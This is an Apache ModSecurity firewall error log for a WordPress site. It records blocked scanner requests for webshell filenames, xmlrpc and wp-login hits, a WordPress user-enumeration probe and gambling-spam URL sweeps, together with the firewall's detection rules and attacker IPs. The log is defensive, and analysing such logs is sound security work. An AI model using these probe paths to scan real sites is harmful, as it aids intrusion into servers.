[Thu Apr 23 20:56:58.121703 2026] [:error] [pid 65000:tid 65057] [client 74.248.121.178:62835] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "aeoXGr6vRb9j6psK2ZZw2wAAAhg"]
[Thu Apr 23 20:57:05.442508 2026] [:error] [pid 42973:tid 43055] [client 74.248.121.178:61610] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "aeoXIW6I0QqmmmLTHE0RVQAAAIw"]
[Thu Apr 23 20:57:09.371533 2026] [:error] [pid 59700:tid 59708] [client 74.248.121.178:57069] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "aeoXJZXyGZJFeAIDWtkjJwAAAUY"]
[Thu Apr 23 20:57:14.871067 2026] [:error] [pid 59700:tid 59720] [client 74.248.121.178:40266] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "aeoXKpXyGZJFeAIDWtkjKwAAAVI"]
[Thu Apr 23 20:57:17.853678 2026] [:error] [pid 42973:tid 43067] [client 74.248.121.178:49004] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xper1.php"] [unique_id "aeoXLW6I0QqmmmLTHE0RdQAAAJg"]
[Thu Apr 23 20:57:20.192495 2026] [:error] [pid 42972:tid 43017] [client 74.248.121.178:57008] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "aeoXMMOAb-3sOknsk4cw8gAAAEE"]
[Thu Apr 23 20:57:20.860924 2026] [:error] [pid 42972:tid 43026] [client 74.248.121.178:54910] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "aeoXMMOAb-3sOknsk4cw9wAAAEo"]
[Thu Apr 23 20:57:23.899314 2026] [:error] [pid 65000:tid 65037] [client 74.248.121.178:30129] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "aeoXM76vRb9j6psK2ZZxLQAAAgQ"]
[Thu Apr 23 20:57:27.759565 2026] [:error] [pid 46953:tid 46961] [client 74.248.121.178:45509] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "aeoXN0nlpdHh-P6wKboz3gAAAkU"]
[Thu Apr 23 20:57:30.929320 2026] [:error] [pid 42972:tid 43034] [client 74.248.121.178:58111] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casp1.php"] [unique_id "aeoXOsOAb-3sOknsk4cxDgAAAFI"]
[Thu Apr 23 20:57:53.143368 2026] [:error] [pid 42972:tid 43032] [client 74.248.121.178:50987] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeoXUcOAb-3sOknsk4cxKwAAAFA"]
[Thu Apr 23 20:57:59.129628 2026] [:error] [pid 42973:tid 43052] [client 74.248.121.178:52601] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeoXV26I0QqmmmLTHE0R0QAAAIk"]
[Thu Apr 23 20:58:03.615703 2026] [:error] [pid 65000:tid 65031] [client 74.248.121.178:35586] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aeoXW76vRb9j6psK2ZZxmwAAAgI"]
[Thu Apr 23 20:58:14.290578 2026] [:error] [pid 59700:tid 59717] [client 74.248.121.178:4343] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aeoXZpXyGZJFeAIDWtkjpwAAAU8"]
[Thu Apr 23 20:58:18.548836 2026] [:error] [pid 42972:tid 43038] [client 74.248.121.178:58041] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "aeoXasOAb-3sOknsk4cxRgAAAFY"]
[Thu Apr 23 20:58:34.083936 2026] [:error] [pid 65000:tid 65041] [client 74.248.121.178:4411] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeoXer6vRb9j6psK2ZZx3gAAAgg"]
[Thu Apr 23 20:58:37.048763 2026] [:error] [pid 64998:tid 65026] [client 74.248.121.178:47964] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "aeoXfYV5EysYcTLjmwhtAgAAAdg"]
[Thu Apr 23 20:58:40.141007 2026] [:error] [pid 42972:tid 43018] [client 74.248.121.178:50499] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prosellers8.php"] [unique_id "aeoXgMOAb-3sOknsk4cxagAAAEI"]
[Thu Apr 23 20:58:46.651974 2026] [:error] [pid 64967:tid 64971] [client 74.248.121.178:39177] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prosellers8.php"] [unique_id "aeoXhoAV4GfOOdX8Qzpy7wAAAYI"]
[Thu Apr 23 20:58:49.131526 2026] [:error] [pid 64998:tid 65007] [client 74.248.121.178:61565] [client 74.248.121.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prosellers8.php"] [unique_id "aeoXiYV5EysYcTLjmwhtLAAAAcU"]
[Thu Apr 23 23:56:06.221077 2026] [:error] [pid 64998:tid 65005] [client 204.168.135.178:53384] [client 204.168.135.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.168.135.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aepBFoV5EysYcTLjmwjfkgAAAcM"]
[Thu Apr 23 23:56:42.296884 2026] [:error] [pid 42973:tid 43058] [client 75.119.132.40:33532] [client 75.119.132.40] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aepBOm6I0QqmmmLTHE1V6QAAAI8"]
[Fri Apr 24 00:18:50.563930 2026] [:error] [pid 42972:tid 43036] [client 43.153.12.58:43562] [client 43.153.12.58] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aepGasOAb-3sOknsk4eNLgAAAFQ"]
[Fri Apr 24 00:56:18.335313 2026] [:error] [pid 42971:tid 43003] [client 106.119.167.146:33406] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aepPMjEP2_5RswrH8bFKNAAAABE"]
[Fri Apr 24 01:31:33.553539 2026] [:error] [pid 64998:tid 65010] [client 185.198.240.101:48137] [client 185.198.240.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "aepXdYV5EysYcTLjmwgmYAAAAcg"]
[Fri Apr 24 01:50:12.273745 2026] [:error] [pid 59700:tid 59705] [client 161.35.25.65:54312] [client 161.35.25.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.25.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aepb1JXyGZJFeAIDWtl3JQAAAUM"]
[Fri Apr 24 01:50:13.933043 2026] [:error] [pid 59700:tid 59716] [client 161.35.25.65:54312] [client 161.35.25.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.35.25.65, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aepb1ZXyGZJFeAIDWtl3KAAAAU4"], referer: https://gigfragments.org/wp-login.php
[Fri Apr 24 02:24:08.111353 2026] [:error] [pid 65000:tid 65039] [client 191.253.66.66:27554] [client 191.253.66.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.253.66.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aepjyL6vRb9j6psK2ZaSLAAAAgY"]
[Fri Apr 24 02:24:17.989321 2026] [:error] [pid 64998:tid 65020] [client 191.253.66.66:52957] [client 191.253.66.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.253.66.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aepj0YV5EysYcTLjmwhDKgAAAdI"]
[Fri Apr 24 02:24:28.544339 2026] [:error] [pid 42971:tid 43005] [client 191.253.66.66:26312] [client 191.253.66.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.253.66.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aepj3DEP2_5RswrH8bFVBAAAABM"]
[Fri Apr 24 02:24:39.100126 2026] [:error] [pid 65000:tid 65032] [client 191.253.66.66:22713] [client 191.253.66.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.253.66.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aepj576vRb9j6psK2ZaShQAAAgM"]
[Fri Apr 24 02:24:49.652974 2026] [:error] [pid 42973:tid 43061] [client 191.253.66.66:5042] [client 191.253.66.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 191.253.66.66, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aepj8W6I0QqmmmLTHE2MrQAAAJI"]
[Fri Apr 24 03:47:23.097644 2026] [:error] [pid 15704:tid 15789] [client 212.227.21.19:1826] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aep3SxLMBOJnY1h7qi-wJgAAABg"]
[Fri Apr 24 03:47:25.102795 2026] [:error] [pid 42250:tid 42283] [client 212.227.21.19:1840] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aep3TZpWzDz9CBRcsvuvAAAAAQ8"]
[Fri Apr 24 03:47:39.679555 2026] [:error] [pid 53638:tid 53657] [client 212.227.21.19:53588] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aep3W4E5TTy1-_qhowJlgQAAAAc"]
[Fri Apr 24 03:47:41.638277 2026] [:error] [pid 53640:tid 53706] [client 212.227.21.19:49336] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aep3XfvGCeB_vkvt8gGZ8wAAAIE"]
[Fri Apr 24 03:47:43.646284 2026] [:error] [pid 53639:tid 53678] [client 212.227.21.19:49350] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aep3X8Wp63IbJuTsepOTPgAAAEA"]
[Fri Apr 24 03:47:45.688209 2026] [:error] [pid 53738:tid 53748] [client 212.227.21.19:49360] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aep3YVuaZcfIiYp8cBgPVAAAAMg"]
[Fri Apr 24 03:47:47.702311 2026] [:error] [pid 53738:tid 53760] [client 212.227.21.19:14892] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aep3Y1uaZcfIiYp8cBgPWwAAANQ"]
[Fri Apr 24 03:47:49.699729 2026] [:error] [pid 53640:tid 53712] [client 212.227.21.19:14894] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aep3ZfvGCeB_vkvt8gGaBQAAAIc"]
[Fri Apr 24 03:47:51.596910 2026] [:error] [pid 53640:tid 53713] [client 212.227.21.19:14906] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aep3Z_vGCeB_vkvt8gGaEAAAAIg"]
[Fri Apr 24 03:47:53.644457 2026] [:error] [pid 53640:tid 53729] [client 212.227.21.19:14918] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aep3afvGCeB_vkvt8gGaEwAAAJg"]
[Fri Apr 24 03:47:55.652383 2026] [:error] [pid 53638:tid 53664] [client 212.227.21.19:14928] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aep3a4E5TTy1-_qhowJlzAAAAA4"]
[Fri Apr 24 03:47:57.685796 2026] [:error] [pid 53738:tid 53744] [client 212.227.21.19:22646] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aep3bVuaZcfIiYp8cBgPfAAAAMQ"]
[Fri Apr 24 03:47:59.560790 2026] [:error] [pid 53639:tid 53685] [client 212.227.21.19:22652] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aep3b8Wp63IbJuTsepOTXwAAAEc"]
[Fri Apr 24 03:48:01.595174 2026] [:error] [pid 53638:tid 53669] [client 212.227.21.19:22664] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aep3cYE5TTy1-_qhowJl4QAAABM"]
[Fri Apr 24 03:48:03.612876 2026] [:error] [pid 53640:tid 53706] [client 212.227.21.19:22678] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aep3c_vGCeB_vkvt8gGaOQAAAIE"]
[Fri Apr 24 03:48:05.513419 2026] [:error] [pid 53639:tid 53701] [client 212.227.21.19:22684] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aep3dcWp63IbJuTsepOTZAAAAFc"]
[Fri Apr 24 03:48:07.508126 2026] [:error] [pid 53639:tid 53684] [client 212.227.21.19:48276] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aep3d8Wp63IbJuTsepOTagAAAEY"]
[Fri Apr 24 03:48:09.391763 2026] [:error] [pid 53639:tid 53702] [client 212.227.21.19:48286] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aep3ecWp63IbJuTsepOTcAAAAFg"]
[Fri Apr 24 03:48:11.454898 2026] [:error] [pid 53738:tid 53764] [client 212.227.21.19:48294] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aep3e1uaZcfIiYp8cBgPjwAAANg"]
[Fri Apr 24 03:48:13.582620 2026] [:error] [pid 53639:tid 53686] [client 212.227.21.19:48296] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aep3fcWp63IbJuTsepOTeQAAAEg"]
[Fri Apr 24 03:48:15.525781 2026] [:error] [pid 53738:tid 53740] [client 212.227.21.19:48306] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aep3f1uaZcfIiYp8cBgPlgAAAMA"]
[Fri Apr 24 03:48:17.594081 2026] [:error] [pid 53640:tid 53724] [client 212.227.21.19:10472] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aep3gfvGCeB_vkvt8gGabQAAAJM"]
[Fri Apr 24 03:49:02.499865 2026] [:error] [pid 53640:tid 53715] [client 212.227.21.19:63934] [client 212.227.21.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aep3rvvGCeB_vkvt8gGa2AAAAIo"]
